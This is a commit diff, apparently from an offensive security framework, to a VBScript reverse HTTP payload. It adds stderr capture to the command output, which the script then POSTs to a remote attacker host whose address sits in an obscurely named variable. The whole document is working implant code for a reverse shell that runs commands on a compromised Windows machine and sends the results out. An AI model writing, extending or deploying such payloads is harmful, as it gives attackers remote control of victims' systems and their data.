Added stderr output to vbs payload

Author: lobsterjerusalem

payload/reverse/vbs/reverse_http.vbs

@@ -36,6 +36,9 @@ Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
             Do Until execObj.StdOut.AtEndOfStream
                 result = result & execObj.StdOut.ReadAll()
             Loop
+            Do Until execObj.StdErr.AtEndOfStream
+                result = result & execObj.StdErr.ReadAll()
+            Loop
 
             Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
             xmlHttpReq.Open "POST", lkasjfo & "rx", false